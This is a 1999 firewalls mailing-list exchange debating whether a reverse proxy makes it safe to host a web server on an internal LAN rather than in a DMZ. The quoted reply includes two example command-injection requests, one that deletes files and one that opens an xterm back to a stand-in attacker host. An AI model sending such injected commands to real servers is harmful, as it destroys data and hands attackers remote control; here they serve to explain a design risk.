Yeah, I found it in the end. Very amusing flamewar - glad I'm getting _this_
list and not _that_ list. ;) [1]
I don't think there's much left to discuss on this thread. You seem to have
formed the opinion that HTTP proxies can't sanity check HTTP commands, which
is Just Wrong (tm) and also that the internal WWW servers are running "cgi"
in which there is "a buffer overflow" which is probably misguided. Finally,
you're assuming that exploiting this "well-known" buffer overflow in "cgi"
will allow a remote user to compile and install an HTTP shell or a similar
exploit that will allow some sort of control over the system. Remember that
the proxy _does_ have the effect of limiting all exchanges between the
outside world and the server to TCP port 80 (or 443).
While (as I said) I'm quite happy to concede that it's not ideal to have any
connections going from the outside world to services on the internal LAN,
there are several situations I can think of where it would be appropriate.
While I'm well aware that the people you've spoken to know a great deal more
about this than I do, I'm not sure that they'd agree with you that there is
no place for this architecture if it's the lesser of two evils, or that it
can't be implemented in a secure fashion.
As a trivial example, I'd happily set up a reverse proxy and a WWW server
with static HTML on a "secure" LAN and defy anyone to hack the server
through the proxy without first compromising the proxy box.
SO, as you said, Back to Reality. How about an interesting question instead
of a flamewar? Let's take it as given that the reverse proxy is the only
available option. How secure can the imaginary customer make their
server-side scripting? Can't the WWW services be run non-setuid? I don't see
any reason why a webserver requires root access except to bind to port 80,
and once that's done it's done I would have thought. On an NT box you don't
need any special privileges at all to bind to low ports, I think it's just
the default IIS setups that are a bit tragic in terms of the privileges
given to the WWW service. Overall it must be possible to create a WWW server
that isn't vulnerable to anything more than having its web pages defaced or
corrupted, or the data that they access stolen. Not nice, but hardly
business crippling.
Cheers,
[1] Yeah, that's a joke. I don't want anyone from NFR coming down and
whupping my ass, and I know there are several people from here that are
subscribed to both (as am I now ;)
--
Ben Nagy
Network Consultant, CPM&S Group of Companies
Direct Dial: (08) 8422 8319 Mobile: (0414) 411 520
-----Original Message-----
From: Jason Axley [mailto:[EMAIL PROTECTED]]
Sent: Friday, May 21, 1999 1:19 AM
To: Ben Nagy
Cc: [EMAIL PROTECTED]
Subject: RE: Reverse proxy
Sorry--one month off. It's in the _January_ archives:
http://www.nfr.net/firewall-wizards/mail-archive/1999/Jan/
A web proxy server facilitates a direct connection between a user and the
end system--it passes whatever data the user gives it to the back-end
system as if the user connected to the back-end system and sent the data
himself. Also, the response to an http request doesn't have a structured
form: the data returned by the webserver could be an image file, html,
text, a word document, etc. These facts make this a dangerous
situation. It wouldn't be as bad if the requests and responses were of
a very structured form and were sanity-checked before being issued.
To clarify, since all the proxy server is doing is sending to the back-end
webserver the exact request that a user would have sent to it
direclty _and_ then sends the exact response back to the user that he
would have gotten, the proxy is not providing any security over just
getting rid of the DMZ and the proxy and letting Internet users issue
requests directly to the webserver on your internal LAN (i.e. it's
essentially letting users connect to the webserver and issue request
directly). As an example, if I hand you a bucket of water and you act on
my behalf to dump that into a swimming pool, that is equivalent to me
dumping the water into the swimming pool myself. Now, what if I hand you
a bucket of motor oil? You'll happily dump it into the swimming pool on
my behalf. What you need is something that can look at what's in the
bucket and only allow water into the swimming pool. A dumb http proxy
won't do that for you. You'll end up with a swimming pool full of oil!
Back to reality--so what happens when a user makes a request to a cgi
script on the webserver that will exploit a buffer overflow? The proxy
server happily sends the request to the webserver and *boom*, there is now
a shell running on the webserver on your _internal_ LAN. The user can now
take his time faking http requests that actually issue commands on
the command line like:
GET http://owned.example.com/; rm -rf *
OR
GET http://owned.example.com/; DISPLAY=attacker.example.net:0; xterm&
I don't think that there is any compelling reason to keep the webserver
on your internal LAN. There _is_ a reason to keep it in the DMZ: to
contain attackers in the event that the webserver gets compromised.
I've talked to Steve Bellovin about this and many other security
professionals who all agree that it is a bad architecture.
I'd be happy to discuss this further as I've been knee-deep in this issue
myself :-)
-Jason
-
[To unsubscribe, send mail to [EMAIL PROTECTED] with
"unsubscribe firewalls" in the body of the message.]
